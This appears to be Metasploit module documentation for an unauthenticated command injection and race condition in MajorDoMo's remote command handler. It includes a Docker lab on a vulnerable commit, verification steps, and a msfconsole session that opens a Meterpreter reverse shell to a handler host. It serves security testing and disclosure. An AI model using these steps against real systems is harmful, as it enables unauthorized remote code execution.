## Vulnerable Application

This module exploits an unauthenticated command injection vulnerability in MajorDoMo's remote command handler
(`rc/index.php`). The `param` parameter is interpolated into double quotes without `escapeshellarg()`, and the
resulting string is passed to `safe_exec()` which inserts it into the `safe_execs` database table with no
sanitization.

The `cycle_execs.php` worker script is web-accessible without authentication. On startup it purges the
`safe_execs` queue, then enters an infinite loop polling the table every second and passing each command to
`exec()`. A race condition is required: the worker must be started first (which purges existing entries), then
the injection is performed while the worker is polling. The next iteration picks up and executes the attacker's
payload.

The `command` parameter must reference a valid `.bat` file in `rc/commands/`. The default MajorDoMo installation
ships with `shutdown.bat`, `displayon.bat`, and `displayoff.bat`.

All versions of MajorDoMo are affected. The `alpha` branch was patched via
[PR #1177](https://github.com/sergejey/majordomo/pull/1177), but `master` has not been updated.
The checkout hash below (`41086aaa`) pins a known vulnerable commit on `alpha` to ensure a reproducible lab setup.

## Options

### BAT_NAME

Name of the `.bat` file in `rc/commands/` without extension. The default MajorDoMo installation ships
with `shutdown`, `displayon`, and `displayoff`. Default: `shutdown`.

## Setup

### Docker Setup

Create a working directory and clone the vulnerable MajorDoMo source:

```bash
mkdir majordomo-lab && cd majordomo-lab
git clone https://github.com/sergejey/majordomo.git src
cd src && git checkout 41086aaa && cd ..
```

Create a `Dockerfile`:

```dockerfile
FROM php:7.4-apache

RUN docker-php-ext-install mysqli pdo pdo_mysql
RUN a2enmod rewrite

RUN apt-get update && apt-get install -y default-mysql-client curl && rm -rf /var/lib/apt/lists/*

COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

WORKDIR /var/www/html

ENTRYPOINT ["/entrypoint.sh"]
CMD ["apache2-foreground"]
```

Create an `entrypoint.sh`:

```bash
#!/bin/bash
set -e

echo "[*] Waiting for MySQL..."
until mysql -h db -u root -pmajordomo -e "SELECT 1" &>/dev/null; do
    sleep 1
done

echo "[*] Setting up database..."
mysql -h db -u root -pmajordomo -e "CREATE DATABASE IF NOT EXISTS db_terminal CHARACTER SET utf8mb4;"
mysql -h db -u root -pmajordomo db_terminal < /var/www/html/db_terminal.sql 2>/dev/null || true

echo "[*] Configuring Majordomo..."
cp /var/www/html/config.php.sample /var/www/html/config.php
sed -i "s/Define('DB_HOST', 'localhost');/Define('DB_HOST', 'db');/" /var/www/html/config.php
sed -i "s/Define('DB_PASSWORD', '');/Define('DB_PASSWORD', 'majordomo');/" /var/www/html/config.php

mkdir -p /var/www/html/cached /var/www/html/cms /var/www/html/saverestore
chown -R www-data:www-data /var/www/html/

echo "[+] Majordomo ready on port 80"
exec "$@"
```

Create a `docker-compose.yml`:

```yaml
services:
  db:
    image: mariadb:10.6
    environment:
      MYSQL_ROOT_PASSWORD: majordomo
      MYSQL_DATABASE: db_terminal
    networks:
      - mdnet
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-pmajordomo"]
      interval: 3s
      timeout: 5s
      retries: 10

  web:
    build: .
    ports:
      - "8899:80"
    volumes:
      - ./src:/var/www/html
    networks:
      - mdnet
    depends_on:
      db:
        condition: service_healthy

networks:
  mdnet:
    driver: bridge
```

Start the lab:

```bash
chmod +x entrypoint.sh
docker compose up -d --build
```

MajorDoMo will be available at `http://127.0.0.1:8899`.

**Important**: The `LHOST` and `FETCH_SRVHOST` must be set to the Docker network gateway so the container can
reach the handler. Find it with:

```bash
docker network inspect majordomo-lab_mdnet --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'
```

**Important**: If a previous exploit test left a `reboot` flag file, the cycle worker will exit immediately
instead of polling. Remove it before retesting:

```bash
docker compose exec web rm -f /var/www/html/reboot
```

## Verification Steps

1. Start the vulnerable MajorDoMo instance (see Docker setup above)
2. Launch msfconsole: `use exploit/multi/http/majordomo_cmd_injection_rce`
3. Set `RHOSTS` to `127.0.0.1` and `RPORT` to `8899`
4. Run `check` to verify the remote command handler and cycle worker are accessible
5. Set payload and execute

## Scenarios

### Scenario 1: Command Shell via Meterpreter

```
msf6 > use exploit/multi/http/majordomo_cmd_injection_rce
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > set RPORT 8899
RPORT => 8899
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > set LHOST 192.168.32.1
LHOST => 192.168.32.1
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > set FETCH_SRVPORT 9999
FETCH_SRVPORT => 9999
msf6 exploit(multi/http/majordomo_cmd_injection_rce) > run
[*] Started reverse TCP handler on 192.168.32.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Remote command handler and cycle_execs.php are both accessible without authentication
[*] Bootstrapping cycle tables via cycle.php...
[*] Starting cycle_execs.php worker...
[*] Injecting payload via rc/index.php...
[*] Sending stage (3090404 bytes) to 192.168.32.3
[*] Waiting for cycle worker to execute payload...
[*] Meterpreter session 1 opened (192.168.32.1:4444 -> 192.168.32.3:35562) at 2026-02-27 14:25:23 +0100

meterpreter > getuid
Server username: www-data
```

## References

- CVE-2026-27175
- <https://chocapikk.com/posts/2026/majordomo-revisited/>
- <https://github.com/sergejey/majordomo/pull/1177>
